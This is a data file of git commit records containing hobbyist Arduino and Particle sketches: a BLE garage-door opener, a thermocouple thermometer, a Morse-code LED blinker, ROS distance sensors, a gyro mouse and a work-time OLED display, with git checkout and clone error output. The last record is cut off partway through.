{"commit":"50e8a5567b7ac744dae89b10fe589a4905ebcd14","subject":"Added RFduino source","message":"Added RFduino source\n","repos":"goughy\/GarageDuino,goughy\/GarageDuino","old_file":"GarageDuino\/GarageDuino.ino","new_file":"GarageDuino\/GarageDuino.ino","new_contents":"\n#include <RFduinoBLE.h>\n\n#define DISCONNECTED 0\n#define CONNECTED 1\n\n#define CMD_TOGGLE 'T'\n\nint switchMs = 500;\n\nint GPIO2 = 2;\nint _rssi = 0;\nint state = DISCONNECTED;\n\nchar buffer[256];\nint buflen = 0;\n\nbool toggle = false;\n\nvoid setup() \n{\n state = DISCONNECTED;\n buflen = 0;\n\n \/\/ output for Garage switch\n pinMode(GPIO2, OUTPUT);\n digitalWrite(GPIO2, LOW);\n \n RFduinoBLE.deviceName = \"GarageDuino\";\n RFduinoBLE.advertisementInterval = 1000;\n RFduinoBLE.txPowerLevel = +4; \/\/limit range\n\n\/\/ Serial.begin(9600);\n\/\/ Serial.println(\"GarageDuino started\");\n\n \/\/ start the BLE stack\n RFduinoBLE.begin();\n}\n\nvoid loop() \n{\n\/\/ switch to lower power mode\n\/\/ RFduino_ULPDelay(SECONDS(1));\n\/\/ Serial.println(\"Post ULPDelay\");\n\n while(RFduinoBLE.radioActive)\n ;\n \n if( toggle )\n toggleDoor();\n}\n\nvoid RFduinoBLE_onConnect()\n{\n state = CONNECTED;\n}\n\nvoid RFduinoBLE_onDisconnect()\n{\n state = DISCONNECTED;\n}\n\nvoid RFduinoBLE_onAdvertisement(bool start)\n{\n}\n\nvoid RFduinoBLE_onRSSI(int rssi)\n{\n _rssi = rssi;\n}\n\nvoid RFduinoBLE_onReceive(char *data, int len)\n{\n if( len > 0 && data[0] == CMD_TOGGLE )\n toggle = true;\n}\n\nvoid displayBuffer()\n{\n RFduinoBLE.sendInt(buflen);\n for( int i = 0; i < buflen; ++i )\n {\n RFduinoBLE.sendByte(state == CONNECTED ? 0x01 : 0x00);\n }\n}\n\nvoid toggleDoor()\n{\n toggle = false;\n\n digitalWrite(GPIO2, LOW);\n delay(50);\n digitalWrite(GPIO2, HIGH);\n delay(switchMs);\n digitalWrite(GPIO2, LOW);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GarageDuino\/GarageDuino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f0325c71d3d9ed63fb6c2240fa1922a57aab4524","subject":"Added example sketch","message":"Added example sketch\n","repos":"circuitar\/Nanoshield_Thermocouple,circuitar\/Nanoshield_Thermocouple","old_file":"examples\/SimpleThermometer\/SimpleThermometer.ino","new_file":"examples\/SimpleThermometer\/SimpleThermometer.ino","new_contents":"\/*\nThis a simple serial port thermometer application using the Thermocouple Nanoshield.\n \n Copyright (c) 2013 Circuitar\n This software is released under the MIT license. See the attached LICENSE file for details.\n *\/\n#include <SPI.h>\n#include \"Nanoshield_Thermocouple.h\"\n\nNanoshield_Thermocouple thermocouple;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"-------------------------------\");\n Serial.println(\" Nanoshield Serial Thermometer\");\n Serial.println(\"-------------------------------\");\n Serial.println(\"\");\n\n \/\/ Initialize thermocouple\n thermocouple.begin();\n}\n\nvoid loop()\n{\n \/\/ Read thermocouple data\n thermocouple.read();\n\n \/\/ Print temperature in the serial port, checking for errors\n if (thermocouple.isShortedToVcc()) {\n Serial.println(\"Shorted to VCC\");\n } \n else if (thermocouple.isShortedToGnd()) {\n Serial.println(\"Shorted to GND\");\n } \n else if (thermocouple.isOpen()) {\n Serial.println(\"Open circuit\");\n } \n else {\n Serial.print(thermocouple.getExternal());\n Serial.print(\", \");\n Serial.println(thermocouple.getInternal());\n }\n\n \/\/ Wait for next second\n delay(1000);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SimpleThermometer\/SimpleThermometer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"58074f439b304aced87a10134b191874cd567fe3","subject":"added Hello world","message":"added Hello world\n","repos":"Greh\/cockroaches","old_file":"HelloWorld\/HelloWorld.ino","new_file":"HelloWorld\/HelloWorld.ino","new_contents":"\/*\n Blink Hello World\n *\/\n \n\/\/ Pin 13 has the LED on Teensy 3.0\nint led = 13;\nint dit = 200;\nint dah = 800;\nint space = 300;\nint letterspace = 800-space;\n\nvoid setup() {\n pinMode(led, OUTPUT);\n}\n\nvoid loop() {\n\/\/h dit dit dit dit\n for(int counter = 0; counter < 4; counter++){\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n }\n delay(letterspace);\n\/\/e dit\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n delay(letterspace);\n\/\/l dit dah dit dit\n for(int counter = 0; counter < 2; counter++){\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n delay(letterspace);\n }\n\/\/o dah dah dah\n for(int counter = 0; counter < 3; counter++){\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n }\n delay(letterspace);\n\/\/w dit dah dah\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n delay(letterspace);\n\/\/o dah dah dah\n for(int counter = 0; counter < 3; counter++){\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n }\n delay(letterspace);\n\/\/r dit dah dit\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n delay(letterspace);\n\/\/l dit dah dit dit\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n delay(letterspace);\n\/\/d dah dit dit\n digitalWrite(led, HIGH);\n delay(dah);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n digitalWrite(led, HIGH);\n delay(dit);\n digitalWrite(led, LOW);\n delay(space);\n delay(letterspace);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HelloWorld\/HelloWorld.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89e259397629b5538da9e444d5ce177e98ae6f47","subject":"Create Database on SD Card","message":"Create Database on SD Card\n\nCreate Database with structure:\r\nId | Username | Apartment | CardID | CardStatus","repos":"TheGum\/Arduino-Elevator-Chip-System","old_file":"Arduino_Elevetor_Chip_System.ino","new_file":"Arduino_Elevetor_Chip_System.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheGum\/Arduino-Elevator-Chip-System.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"35f48591b5c086f81aacd9d854a5da946be1f52c","subject":"Update Distance1 to use pulseIn and simpler maths","message":"Update Distance1 to use pulseIn and simpler maths\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Distance1\/Distance1.ino","new_file":"Distance1\/Distance1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"358f207f6854a2b8a3d95eb3365aeb2d3d9526e6","subject":"Renamed Arduino_files to arduino to conform to package standards","message":"Renamed Arduino_files to arduino to conform to package standards\n","repos":"MartienLagerweij\/aidu,rjagerman\/aidu,rjagerman\/aidu,MartienLagerweij\/aidu,rjagerman\/aidu,MartienLagerweij\/aidu","old_file":"aidu_vision\/arduino\/sensor_to_ros\/sensor_to_ros.ino","new_file":"aidu_vision\/arduino\/sensor_to_ros\/sensor_to_ros.ino","new_contents":"\/*\n * Rosserial sensor value publisher\n * Publishes the value of the sensors to ros\n * Sensor types: Sharp 041SK, Sharp GP2D12. Sharp 2Y0A02 and HC-SR04 (Ultrasonic)\n *\n * Usage: \n * Run roscore\n * Type in terminal: rosrun rosserial_python serial_node.py \/dev\/ttyACM#\n * where # is the number of the serial port the Arduino is attached to\n * Call the topic with: rostopic echo sensors\n *\/\n \n\n#include <ros.h>\n#include <aidu_vision\/DistanceSensors.h>\n#include <math.h>\n\nros::NodeHandle nh;\n\naidu_vision::DistanceSensors distance;\nros::Publisher sensor_publisher(\"sensors\", &distance);\n\n\n\/\/ Analog infrared defines\nint sensorpin_ir_41 = 0; \/\/ analog pin used to connect the sharp 041SK\nint sensorpin_ir_12 = 1; \/\/ analog pin used to connect the sharp GP2D12 \nint sensorpin_ir_02 = 2; \/\/ analog pin used to connect the sharp 2Y0A02\nint sensorpin_ir_022= 3; \n\n\/\/ Ultrasonic defines\n#define echoPin_clean 7\n#define trigPin_clean 8 \n#define echoPin_duct 12\n#define trigPin_duct 13\n\nvoid setup()\n{\n nh.initNode();\n nh.advertise(sensor_publisher);\n \n pinMode(trigPin_clean, OUTPUT);\n pinMode(echoPin_clean, INPUT);\n pinMode(trigPin_duct, OUTPUT);\n pinMode(echoPin_duct, INPUT);\n}\n\nvoid loop()\n{\n \n \/\/ HC-SR04 ultrasonic clean\n \/\/ Range: 2 to 400 cm\n \/\/ Value: 20 to 4000 (mm)\n \/\/ Attached to digital 7 (echo, blue) and digital 8 (Trig, red) \n distance.Frontright = ultrasonic(trigPin_clean, echoPin_clean);\n \n \n \/\/ HC-SR04 ultrasonic duct\n \/\/ Range: 2 to 400 cm\n \/\/ Value: 20 to 4000 (mm)\n \/\/ Attached to digital 12 (Echo, blue) and digital 13 (Trigger, red)\n distance.Frontleft = ultrasonic(trigPin_duct, echoPin_duct);\n \n \n \n \/\/ Publisher\n sensor_publisher.publish( &distance );\n nh.spinOnce();\n delay(50);\n}\n\n\/**\n * Measures distance from an ultrasonic sensor\n *\/\nfloat ultrasonic(int triggerPin, int echoPin) {\n float duration[5], distance;\n for(int i = 0; i < 4; i++){\n digitalWrite(triggerPin, LOW);\n delayMicroseconds(2);\n \n digitalWrite(triggerPin, HIGH);\n delayMicroseconds(10);\n \n digitalWrite(triggerPin, LOW);\n duration[i] = pulseIn(echoPin, HIGH);\n delayMicroseconds(60000);\n } \n duration[4] = (((duration[0] + duration[1] + duration[2] + duration[3])\/4));\n distance = (duration[4] \/ 5.82 ) - 0.2979052982*(duration[4] \/ 5.82 ) + 4.0456059645;\n distance = distance + 0.1*distance - 10; \n return distance;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/\/ Sharp 041SK\n\/\/ Range: 3 to 30 cm\n\/\/ Value: 30 to 300 (mm)\n\/\/ Attached to analog input 0\n\/\/double sensor_value_ir_41 = analogRead(sensorpin_ir_41);\n\/\/int dis_ir_41 = 27205.2633 * pow(sensor_value_ir_41, -1.0183);\n\/\/distance.Back = dis_ir_41;\n\n\/\/ Sharp GP2D12\n\/\/ Range: 10 to 80 cm\n\/\/ Value: 100 to 800 (mm)\n\/\/ Attached to analog input 1\n\/\/ double sensor_value_ir_12 = analogRead(sensorpin_ir_12);\n\/\/ int dis_ir_12 = 38161.1739 * pow(sensor_value_ir_12, -0.9298) - 2936752.6632 * pow(sensor_value_ir_12,-2.2758995196);\n\/\/ distance.Frontmiddle = dis_ir_12;\n \n\/\/ \/\/ Sharp 2Y0A02\n\/\/ \/\/ Range: 20 to 150 cm\n\/\/ \/\/ Value: 200 to 1500 (mm)\n\/\/ \/\/ Attached to analog input 2\n\/\/ double sensor_value_ir_02[5];\n\/\/ for (int i=0;i<4;i++){\n\/\/ sensor_value_ir_02[i]= analogRead(sensorpin_ir_02);\n\/\/ delayMicroseconds(50000);\n\/\/ }\n\/\/ sensor_value_ir_02[4]=(sensor_value_ir_02[0]+sensor_value_ir_02[1]+sensor_value_ir_02[2]+sensor_value_ir_02[3])\/4;\n\/\/ int dis_ir_02 = 100356.1342 * pow(sensor_value_ir_02[4], -0.97711388);\n\/\/ int dir_ir_02 = dir_ir_02 + 0.11999*dir_ir_02 \/*- 18.91585*\/;\n\/\/ distance.Left = dis_ir_02;\n\/\/ \n\/\/ \n\/\/ \/\/ Sharp 2Y0A02\n\/\/ \/\/ Range: 20 to 150 cm\n\/\/ \/\/ Value: 200 to 1500 (mm)\n\/\/ \/\/ Attached to analog input 3\n\/\/ double sensor_value_ir_022[5];\n\/\/ for (int i=0;i<4;i++){\n\/\/ sensor_value_ir_022[i]= analogRead(sensorpin_ir_022);\n\/\/ delayMicroseconds(50000);\n\/\/ }\n\/\/ sensor_value_ir_022[4]=(sensor_value_ir_022[0]+sensor_value_ir_022[1]+sensor_value_ir_022[2]+sensor_value_ir_022[3])\/4;\n\/\/ int dis_ir_022 = 100356.1342 * pow(sensor_value_ir_022[4], -0.97711388);\n\/\/ int dir_ir_022 = dir_ir_022 + 0.11999*dir_ir_022 \/*- 18.91585*\/;\n\/\/ distance.Right = dis_ir_022;\n\/\/ \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'aidu_vision\/arduino\/sensor_to_ros\/sensor_to_ros.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e4eb9aa9b304f25c4a48074173984d6a152f2ee","subject":"better mouse code for right hand","message":"better mouse code for right hand","repos":"juliev42\/prerit-therapy-glove","old_file":"gyro_mouse.ino","new_file":"gyro_mouse.ino","new_contents":"#include <Wire.h>\n#include <I2Cdev.h>\n#include <MPU6050.h>\n#include <Mouse.h>\n\n\/\/right hand optimized! \n\n#define LPF_ALPHA .2\/\/alpha value for the LP Filter \n\/\/#define numMPUMeasures 6; \n#define button1 4 \/\/will map left click to opponance with pointer finger \n#define button2 5 \/\/will map right click to opponance with middle finger \n\nMPU6050 mpu;\nint16_t ax, ay, az, gx, gy, gz;\nint vx, vy;\n\nint buttonState1 = 0; \nint buttonState2 = 0; \n\nfloat MPUState_gyroZ;\nfloat MPUState_gyroY;\n\nvoid setup() {\n\n Serial.begin(9600);\n Wire.begin();\n pinMode(button1, INPUT);\n pinMode(button2, INPUT);\n mpu.initialize();\n if (!mpu.testConnection()) { while (1); }\n\n\/\/MPU offsets \n \/\/mpu.setXGyroOffset(-200);\n \/\/mpu.setYGyroOffset(76);\n \/\/mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \n}\n\nvoid loop() {\n mpu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz); \/\/accelerometer then gyroscope data \n\n\/\/ vx = (gx+15)\/150; \n\/\/ vy = -(gz-100)\/150;\n\n Serial.print(\"gx = \");\n Serial.print(gx);\n Serial.print(\" | gy = \");\n Serial.print(gy);\n Serial.print(\" | gz = \");\n Serial.print(gz);\n\n \n Serial.print(\" | X = \");\n Serial.print(vx);\n Serial.print(\" | Y = \");\n Serial.println(vy);\n\/\/\n\/\/\n\/\/ Serial.print(\"ax = \");\n\/\/ Serial.print(ax);\n\/\/ Serial.print(\" | ay = \");\n\/\/ Serial.print(ay);\n\/\/ Serial.print(\" | az = \");\n\/\/ Serial.println(az);\n\n \/\/moveMouseAVG(2); \n\n\/\/for LP filter, comment out if going unfiltered\n vy = int(readMPU_gyroY_LPF(gy)); \n vx = int(readMPU_gyroZ_LPF(gz)); \/\/happy with this function \n \n Mouse.move(vx, vy);\n \n buttonState1 = digitalRead(button1);\n buttonState2 = digitalRead(button2);\n\n\/\/uncomment when you're ready to deal with random clicking or have grounded the wires for pins 4 + 5 \n\/\/ if (buttonState1 == HIGH) {\n\/\/ Mouse.press(MOUSE_LEFT);\n\/\/ delay(100);\n\/\/ Mouse.release(MOUSE_LEFT);\n\/\/ delay(200);\n\/\/ } \n\/\/ else if(buttonState2 == HIGH) {\n\/\/ Mouse.press(MOUSE_RIGHT);\n\/\/ delay(100);\n\/\/ Mouse.release(MOUSE_RIGHT);\n\/\/ delay(200);\n\/\/ }\n delay(200);\n}\n \n\nvoid moveMouseAVG(int numSamples){ \/\/simple average filter for gyro data (not moving avg) \n int gxsum = 0; \n \/\/int gysum = 0; \n int gzsum = 0; \n for(int i =0; i<numSamples; i++){\n gxsum += mpu.getRotationX(); \n \/\/gysum += mpu.getRotationY(); \n gzsum += mpu.getRotationZ(); \n delay(20); \n }\n float newX = (gxsum\/numSamples+150)\/200; \n float newY = -(gzsum\/numSamples-100)\/200; \/\/get y value from gz samples \n \n Mouse.move(newX, newY); \n \n}\n\n\n\nfloat readMPU_gyroY_LPF(int inputReading){\n float updateVal = float(inputReading);\n MPUState_gyroY = updateVal*LPF_ALPHA + MPUState_gyroY*(1-LPF_ALPHA);\n return -(MPUState_gyroY-50)\/100; \n}\n\n\nfloat readMPU_gyroZ_LPF(int inputReading){\n float updateVal = float(inputReading);\n MPUState_gyroZ = updateVal*LPF_ALPHA + MPUState_gyroZ*(1-LPF_ALPHA);\n \/\/rightHandRAmplify(); \/\/something that amplifies pos x values because it's much harder to turn the right hand to the right (and vice versa)\n return (MPUState_gyroZ+50)\/100; \n}\n\nvoid rightHandRAmplify(){\n float rawVal = (MPUState_gyroZ+50)\/100;\n if(rawVal > 0){\n rawVal = rawVal*5; \n }\n MPUState_gyroZ = rawVal*300; \n}\n\n\n\/\/int readAxis(int gyroAxis){\n\/\/ MPUState = \n\/\/}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gyro_mouse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db3b978f2fa9330973072f81f2948dae9ae6630f","subject":"Fixed Arduino Sketch & Modified Basic HTTP Authentication","message":"Fixed Arduino Sketch & Modified Basic HTTP Authentication\n","repos":"JZ-SmartThings\/SmartThings,JZ-SmartThings\/SmartThings,JZ-SmartThings\/SmartThings","old_file":"Devices\/Generic HTTP Device\/ArduinoSample.ino","new_file":"Devices\/Generic HTTP Device\/ArduinoSample.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Devices\/Generic' did not match any file(s) known to git\nerror: pathspec 'HTTP' did not match any file(s) known to git\nerror: pathspec 'Device\/ArduinoSample.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5bb6bcb82815ae554f91a8f297903da84e61e92b","subject":"MTM_MODULE","message":"MTM_MODULE\n","repos":"starsword829\/MTM","old_file":"MTM_MODULE.ino","new_file":"MTM_MODULE.ino","new_contents":"\/\/MTM_MODULE.ino\n\nint led = 13;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(led, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(100); \/\/ wait for a second\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(100); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MTM_MODULE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6d121cbb1a794052cf7eff805cf243cab08343af","subject":"iwork inital version","message":"iwork inital version\n","repos":"circlesmiler\/iwork,circlesmiler\/iwork","old_file":"iwork.ino","new_file":"iwork.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include <clickButton.h>\n\n#include \"Adafruit_GFX.h\"\n#include \"Adafruit_SSD1306.h\"\n\n\/\/PIN PHOTON => PIN OLED\n#define OLED_MOSI D0 \/\/=>D1\n#define OLED_CLK D1 \/\/=>D0\n#define OLED_DC D2 \/\/=>DC\n#define OLED_CS D3 \/\/=>CS\n#define OLED_RESET D4 \/\/=>RST\nAdafruit_SSD1306 display(OLED_MOSI, OLED_CLK, OLED_DC, OLED_RESET, OLED_CS);\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\n\/\/ Icons\n\/\/ Created by http:\/\/javl.github.io\/image2cpp\/\nconst unsigned char clockIcon [] PROGMEM = {\n 0x3c, 0x4a, 0x89, 0x89, 0xb1, 0x81, 0x42, 0x3c\n};\n\nconst unsigned char loginIcon [] PROGMEM = {\n\t0x3f, 0x01, 0x11, 0xf9, 0xf9, 0x11, 0x01, 0x3f\n};\n\nconst unsigned char logoutIcon [] PROGMEM = {\n 0x3f, 0x01, 0x21, 0x7d, 0x7d, 0x21, 0x01, 0x3f\n};\nconst unsigned char tempIcon [] PROGMEM = {\n 0x1c, 0x22, 0x2a, 0x2a, 0x2a, 0x5d, 0x5d, 0x3e\n};\n\/\/ WIFI Icons 1 = LOW, 4=FULL\nconst unsigned char wifiIcon1 [] PROGMEM = {\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18\n};\nconst unsigned char wifiIcon2 [] PROGMEM = {\n 0x00, 0x00, 0x00, 0x00, 0x18, 0x24, 0x18, 0x18\n};\nconst unsigned char wifiIcon3 [] PROGMEM = {\n 0x00, 0x00, 0x3c, 0x42, 0x18, 0x24, 0x18, 0x18\n};\nconst unsigned char wifiIcon4 [] PROGMEM = {\n 0x7e, 0x81, 0x3c, 0x42, 0x18, 0x24, 0x18, 0x18\n};\nconst unsigned char noWifiIcon [] PROGMEM = {\n 0xff, 0xc3, 0x3c, 0x5a, 0x18, 0x24, 0x5a, 0x99\n};\n\nconst unsigned char lampIcon [] PROGMEM = {\n\t0x00, 0x08, 0x1e, 0x2c, 0x48, 0x20, 0x10, 0x78\n};\n\nconst unsigned char lampIcon24 [] PROGMEM = {\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x27, 0x80, 0x00,\n\t0x77, 0xf0, 0x00, 0x77, 0xf8, 0x00, 0xc7, 0xfc, 0x01, 0x8f, 0xf8, 0x03, 0x0f, 0xe0, 0x06, 0x0f,\n\t0x90, 0x38, 0x04, 0x60, 0x38, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x06, 0x00, 0x00, 0x03, 0x00, 0x00,\n\t0x01, 0x80, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x70, 0x00, 0x00, 0x78, 0x00, 0x00, 0x7c, 0x00, 0x01,\n\t0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n};\n\n\/\/ Constants\n#define ENTER_ADDR 0\n#define EXIT_ADDR 4\n\n\/\/ PIN LED-Button Constants\n#define BTN_LOGIN D5\n#define BTN_LOGOUT D6\n#define BTN_MODE D7\n#define LED_LOGIN A0\n#define LED_LOGOUT A1\n#define LED_MODE A2\n\n\/\/ Debounce Stuff\n#define T_TIMEOUT 100 \/\/ milliseconds\n\nClickButton loginButton(BTN_LOGIN, LOW, CLICKBTN_PULLUP);\nClickButton logoutButton(BTN_LOGOUT, LOW, CLICKBTN_PULLUP);\nClickButton modeButton(BTN_MODE, LOW, CLICKBTN_PULLUP);\n\nvoid blinkModeLED()\n{\n Serial.println(\"Blink LED\");\n toggleModeLED();\n}\n\nTimer blinkModeLEDtimer(1000, blinkModeLED);\n\n\/\/ VARIABLES\nint enteredTime = 0;\nint exitedTime = 0;\nString enteredTimeStr;\nString exitedTimeStr;\n\n#define WEATHER_UPDATE_INTERVAL 3600 \/\/ 3600sec = 1h\n#define Rostock_City_ID \"2844588\"\nint lastWeatherUpdate = 0;\ndouble tempHRO;\n\n\/\/ For debugging\nString dataStr;\n\n\/\/ IFTTT EVENT HANDLER\nvoid onWorkHandler(const char *event, const char *data) {\n dataStr = String(data).trim().toLowerCase();\n if (dataStr.equals(\"entered\")) {\n setEnteredTime(Time.now());\n } else if (dataStr.equals(\"exited\")) {\n setExitedTime(Time.now());\n }\n}\n\n\/\/ WEATHER HANDLER\nvoid receiveWeather(const char *event, const char *data) {\n \/\/ Convert String to double\n tempHRO = atof(data);\n}\n\nint mode = 0;\n\n\/\/ STARTUP(WiFi.selectAntenna(ANT_AUTO));\nSTARTUP(WiFi.selectAntenna(ANT_INTERNAL));\n\n\/\/ SETUP\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ Load data from EEPROM\n setEnteredTime(loadEEPROM(ENTER_ADDR));\n setExitedTime(loadEEPROM(EXIT_ADDR));\n\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC);\n \/\/ init done\n\n display.display(); \/\/ show splashscreen\n delay(1000);\n display.clearDisplay(); \/\/ clears the screen and buffer\n\n \/\/ Time.zone(+2);\n Time.zone(+1);\n\n Particle.subscribe(\"on_work\", onWorkHandler);\n Particle.subscribe(\"hook-response\/weather\/\", receiveWeather, MY_DEVICES);\n\n Particle.variable(\"enteredTime\", enteredTimeStr);\n Particle.variable(\"exitedTime\", exitedTimeStr);\n Particle.variable(\"eventStr\", dataStr);\n\n \/\/ PIN MODES\n pinMode(BTN_MODE, INPUT_PULLUP);\n \/\/ Setup button timers (all in milliseconds \/ ms)\n \/\/ (These are default if not set, but changeable for convenience)\n modeButton.debounceTime = 30; \/\/ Debounce timer in ms\n modeButton.longClickTime = 1000; \/\/ time until \"held-down clicks\" register\n\n pinMode(LED_LOGIN, OUTPUT);\n pinMode(LED_LOGOUT, OUTPUT);\n pinMode(LED_MODE, OUTPUT);\n\n setModeLED(true);\n}\n\nint page = 0;\n\/\/ PAINT STUFF IN LOOP\nvoid loop() {\n \/\/ Update button state\n loginButton.Update();\n logoutButton.Update();\n modeButton.Update();\n\n \/\/ Save click codes in LEDfunction, as click codes are reset at next Update()\n int function = 0;\n if(modeButton.clicks != 0) function = modeButton.clicks;\n\n if(function == 1) {\n Serial.println(\"SINGLE click\");\n if (mode == 0) {\n Serial.println(\"Change Page\");\n \/\/ Normaler Modus > Seite weiterschalten\n page = (page + 1) % 4;\n }\n }\n if(function == -1) {\n Serial.println(\"SINGLE LONG click\");\n if (mode == 0) {\n Serial.println(\"Edit Mode\");\n mode = 1;\n blinkModeLEDtimer.start();\n } else if (mode == 1) {\n Serial.println(\"Normal Mode\");\n mode = 0;\n blinkModeLEDtimer.stop();\n setModeLED(true);\n }\n }\n\n \/\/ Load weather data\n if ((lastWeatherUpdate + WEATHER_UPDATE_INTERVAL) < Time.now()) {\n Particle.publish(\"weather\", Rostock_City_ID, PRIVATE);\n lastWeatherUpdate = Time.now();\n }\n\n display.clearDisplay(); \/\/ clears the screen and buffer\n\n updateLoginLED();\n updateLogoutLED();\n updateModeLED();\n\n if (page == 0) {\n printTime();\n printWifiState();\n printWorkStarted();\n printWorkDuration();\n printExitTime();\n printTemperature();\n }\n\n display.display();\n}\n\nvoid updateLoginLED() {\n digitalWrite(LED_LOGIN, enteredTime <= exitedTime);\n}\n\nvoid updateLogoutLED() {\n digitalWrite(LED_LOGOUT, enteredTime > exitedTime);\n}\n\nvoid updateModeLED() {\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setTextWrap(false);\n display.setCursor(60,56);\n\n display.print(page);\n}\n\nvoid printWorkStarted() {\n display.drawBitmap(0, 0, loginIcon, 8, 8, WHITE);\n\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setTextWrap(false);\n\n display.setCursor(10,0);\n\n \/\/ Not initialized\n if (enteredTime == 0 && exitedTime == 0) {\n display.print(\"--:--\");\n return;\n }\n\n if (enteredTime < exitedTime) {\n display.print(\"--:--\");\n } else {\n display.print(Time.format(enteredTime, \"%H:%M\"));\n }\n}\n\nvoid printTime() {\n display.drawBitmap(88, 0, clockIcon, 8, 8, WHITE);\n\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setTextWrap(false);\n\n display.setCursor(98,0);\n\n if (Time.now() % 2 == 0) {\n display.print(Time.format(Time.now(), \"%H:%M\"));\n } else {\n display.print(Time.format(Time.now(), \"%H %M\"));\n }\n}\n\nvoid printWifiState() {\n if (!WiFi.ready()) {\n display.drawBitmap(60, 0, noWifiIcon, 8, 8, WHITE);\n return;\n }\n\n \/\/ Signal strength\n int sig = WiFi.RSSI();\n if (sig < -95) {\n \/\/ Bad signal\n display.drawBitmap(60, 0, wifiIcon1, 8, 8, WHITE);\n } else if (-95 <= sig && sig < -63) {\n display.drawBitmap(60, 0, wifiIcon2, 8, 8, WHITE);\n } else if (-63 <= sig && sig < -31) {\n display.drawBitmap(60, 0, wifiIcon3, 8, 8, WHITE);\n } else if (-31 <= sig && sig < 0) {\n \/\/ Good signal\n display.drawBitmap(60, 0, wifiIcon4, 8, 8, WHITE);\n } else if (sig > 0) {\n \/\/ Error\n display.drawBitmap(60, 0, noWifiIcon, 8, 8, WHITE);\n }\n}\n\nvoid printWorkDuration() 